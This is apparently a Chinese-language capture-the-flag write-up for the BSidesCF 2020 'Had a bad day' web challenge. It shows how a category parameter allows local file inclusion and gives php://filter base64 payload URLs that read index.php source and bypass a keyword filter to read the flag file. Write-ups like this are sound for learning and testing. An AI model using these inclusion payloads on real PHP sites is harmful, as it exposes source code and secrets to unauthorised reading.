[BSidesCF 2020]Had a bad day

考查点:文件包含,php://filter伪协议的使用

解题过程

题目

[BSidesCF 2020]Had a bad day_第1张图片

点击WPPFERS,页面跳转,url变化

http://82d8579e-9e63-4cf3-8058-672d5e2fdb2a.node3.buuoj.cn/index.php?category=woofers

[BSidesCF 2020]Had a bad day_第2张图片

返回点击MEOWERS,页面跳转,url变化

http://82d8579e-9e63-4cf3-8058-672d5e2fdb2a.node3.buuoj.cn/index.php?category=meowers

[BSidesCF 2020]Had a bad day_第3张图片

url的变化肯定是个突破点,可能是文件包含

尝试读取index.php,回显如下

[BSidesCF 2020]Had a bad day_第4张图片

我们可以得到很多信息,看到了include,说明确实是文件包含 , 但是

 include(php://filter/read=convert.base64-encode/resource=index.php.php)中
比我们传入的
php://filter/read=convert.base64-encode/resource=index.php
多了.php
猜测可能是我们只传输.php之前的即可,然后源码会自动把.php拼接上来。

再次尝试读取源码,去掉.php

index.php?category=php://filter/read=convert.base64-encode/resource=index

[BSidesCF 2020]Had a bad day_第5张图片

进行base64解码,得到index.php

              

代码审计一下:我们传入的$category放到了$file中,并且对其进行筛查,$file中必须含有woofers,meowers,index中的一项,才能够文件包含file.php。这就是利用点

所以构造payload,以下三个都行

index.php?category=php://filter/read=convert.base64-encode/woofers/resource=flag
index.php?category=php://filter/read=convert.base64-encode/meowers/resource=flag
index.php?category=php://filter/read=convert.base64-encode/index/resource=flag

[BSidesCF 2020]Had a bad day_第6张图片

base64解码可以得到flag。

[BSidesCF 2020]Had a bad day_第7张图片


参考文章

1. BUUCTF:[BSidesCF 2020]Had a bad day

 

你可能感兴趣的:(CTF刷题记录,web,CTF)